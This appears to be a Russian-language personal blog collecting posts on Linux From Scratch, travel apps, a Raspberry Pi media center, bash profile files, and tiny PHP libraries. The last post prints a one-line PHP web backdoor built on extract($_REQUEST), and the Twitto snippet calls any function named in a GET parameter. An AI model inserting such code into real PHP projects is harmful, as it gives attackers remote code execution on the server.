Linux From Scratch

Уже долгое время у меня в iPad’е лежала книжка Герарда Бикманса — Linux From Scratch, которую я никак не решался начинать читать. И вот спустя два безумно скучных дня, я получил заветные буквы в терминале:

> uname -a
> Linux <lfs> 3.19.0 #1 SMP Wed Mar 11 12:21 18 MSK 2015 i686 GNU/Linux

О чем эта книга по описанию? Как не сложно догадаться, это книга о том, как собрать работающую операционную систему GNU/Linux из исходных кодов. Звучит очень захватывающе и многообещающе.

О чем на самом деле эта книга? Все просто, эта книга ничего не потеряла бы от переименования в «1000 и 1 способ выполнить make». Сборка по книге состоит, чуть менее чем полностью, из комбинации команд tar, configure, make, cp и cat. И как правило именно в такой последовательности.

К сборке я подошел самым банальным образом и делал это на свежеустановленной Ubuntu 12.04 через Vagrant, которую даже не пришлось особым образом готовить, за исключением сборки кросс-компайлера GCC и косяков с GRUB’ом не получил не одной фатальной ошибки.

Чему должна была научить эта книга, видимо архитектуре операционной системы, но вместо этого она распыляется на описание флагов сборки без предоставления читателю выбора что-то решить самому. За всю книгу единственный выбор который читателю предложили, это выбор альтернативного редактора вместо vim, на этом решили и закончить самостоятельность. Спасибо, на этом можно закончить rm -rf /mnt/lfs.

Travel hacks

Решил добавить и свои пять копеек в тему про подготовку к самостоятельным путешествиям. Может мои хаки будут кому-то полезны.

Любое путешествие начинается с плана поездки, а каждый план нужно эффективно обсуждать со всеми участниками поездки. В качестве такого места я уже давно остановил свой выбор на Hackpad, в нем каждый из участников накидывает свои идеи, потом отбрасываем то, что выходит за рамки бюджета или не успеваем по времени и в конце концов сортируем по дням.

Когда план готов самое время сохранить его для поездки и таким местом у меня неизменно выступает OneNote, а поскольку он установлен на всех устройствах, то во время поездки я могу эффективно смотреть за тем куда мы хотели попасть и корректировать личные пометки.

OneNote

Кроме плана, я заношу в него общую информация о месте поездки:

  • Правила работы и оплаты общественного транспорта;
  • Хорошие рестораны, бары и магазины;
  • Краткое резюме после посещения достопримечательности;
  • Наличие беспроводного интернета;
  • Возможные скидки для туристов.

Самым логичным было бы хранить все билеты и ваучеры бронирования в нем, но в этом плане OneNote показывает себя как неповоротливая и тормозная штука. Все билеты я сохраняю в PDF и храню в iBooks и дублирую копии в Dropbox.

Дешевые авиабилеты и жилье я искал через собственную форму для поиска билетов. Когда все места и билеты собраны, самое время подумать о карте, и нет лучшей offline карты чем Maps.me. Все места из Hackpad я отмечаю на создаваемых картах Google. А когда карта и маршруты построены, то можно выгрузить все точки и маршруты единым файлом в формате KML на Dropbox.

Теперь имея готовый файл, открываю его в программе Maps.me на всех устройствах и готово - offline карта с отметками достопримечательностей и GPS навигацией. Можно не зависеть от интернета и в любом месте не бояться заблудиться.

Немного о сборах, перепробовав целую кучу разных решений я остановился на единственной программе которая не заставляла меня вписывать вес каждой вещи, делить вещи по чемоданам и заниматься чем-либо помимо хранения списков. Такой программой для меня стала Travel List.

Travel List

В заключение хотел бы рассказать фейле всех программ по работе с планом путешествия или помощью по ориентированию в аэропорту (да-да я про GateGuru). Подавляющее большинство из них предполагают, что на протяжении всего путешествия у вас будет беспроводной интернет, а поскольку это далеко не так, то даже самые популярные программы которые призваны сэкономить время путешественникам превращаются в бесполезные иконки на экране телефона.

Raspberry Pi - Finn

Продолжаю рассказывать о своем зоопарке одноплатных компьютеров Raspberry Pi. И если в прошлый раз я рассказывал ретро консоле, то в этот раз расскажу о другой малине, которая играет роль дополнительного медиа центра и прекрасно дополняет все недостатки присутствующие в моем Apple TV 2 с надстройкой aTV Flash.

Больше всего в Apple TV меня смущало отсутствие поддержки 1080p, а также не удобный YouTube клиент. А к мелким недостаткам я всегда относил наличие дополнительного пульта управления, который всегда теряется.

Сердце медиа центра — OpenELEC и нет смысла подробно останавливаться на процессе сборки и установки его на Raspberry Pi:

  • Для начала качаем готовый Diskimage с сайта OpenELEC;
  • Записываем образ на SD флешку;
  • Вставляем в Raspberry Pi флешку, HDMI кабель и питание;
  • Включаем ТВ и наслаждаемся.

Главное преимущество OpenELEC перед чистой установкой Kodi (бывшим XBMC) на Raspbian, это отсутствие проблем с настройкой , все делается максимально просто прямо с ТВ пульта. Никаких клавиатур и возни с терминалом не требуется.

Делать отдельный обзор плагинов я не стану, а просто скажу что большинство неофициальных плагинов для Kodi можно скачать подключив SuperRepo.

Медиа библиотека лежит на NAS’е и доступна по локальной сети, так что оба медиа центра независимо друг от друга имеют к ней полный доступ.

Ну и в качестве заключения этой заметки скажу что порадовал все свои малины, подключив их питание через единый 5-портовый USB хаб от Anker.

Raspberry Pi

В чем отличие .bash_profile и .bashrc

Работая с Линуксом, необходимо постоянно помнить, какой «профиль» нужно редактировать для автоматической установки переменных среды.

Согласно документации по bash, файл .bash_profile исполняется для оболочек, осуществляющих авторизацию пользователя, а файл .bashrc исполняется для интерактивных оболочек, не авторизующих пользователя.

При авторизации в консоли - физической или по SSH, выполняется .bash_profile.

Однако, если вы запускаете терминал в оконной системе (GNOME, KDE), режим оболочки в Emacs, или выполняете /bin/bash из другой оболочки, выполняется .bashrc.

Однако, большинство людей вызывают один скрипт из другого. Для достижения этого эффекта вам необходимо открыть файл .bash_profile и добавить следующие строки:

if [ -f ~/.bashrc ]; then
  source ~/.bashrc
fi

Теперь .bashrc будет исполняться при любой авторизации без необходимости дублировать код.

Нано библиотеки на PHP

Всегда интересно смотреть как люди сами себе создают ограничения и потом в этих ограниченных условиях создают интересные архитектурные решения. Так например я решил собрать несколько примеров библиотек на PHP, каждая из которых умещается в один твит (140 символов).

Для начала стоит начать этот обзор с Twitto, от автора фреймворка Symphony, торжественно именующего себя — A web framework in a tweet.

require __DIR__.'/c.php';
if (!is_callable($c = @$_GET['c'] ?: function() { echo 'Woah!'; }))
  throw new Exception('Error');
$c();

Функционал его достаточно скуден, а потому стоит разнообразить его включением «полноценного» DI контейнера Twittee, от того же автора.

class Container {
  protected $s=array();
  function __set($k, $c) { $this->s[$k]=$c; }
  function __get($k) { return $this->s[$k]($this); }
}

Ну а какой фреймворк без роутера, который также помещается в один твит и называется µ (мю).

class µ{static function __callStatic($n,$a){static$r;$n==@_?@$r[getenv(REQUEST_METHOD).getenv(REQUEST_URI)]():$r[$n.$a[0]]=$a[1];}}

А теперь имея базовый набор можно разнообразить этот набор системой посылки и приема ивентов, которая также именуется греческой буквой алфавита (сигма).

function ∑($n,$c=0){static$r;is_callable($c)?$r[$n][]=$c:@array_walk($r[$n],'call_user_func',$c?:[]);}

А напоследок хотелось бы отклонится от темы разработки и написать о самом крошечном бекдоре, который я видел на PHP и который не использует eval(), хотя при этом обладает прекрасным широким функционалом.

@extract($_REQUEST);@die($exit_($exit_code));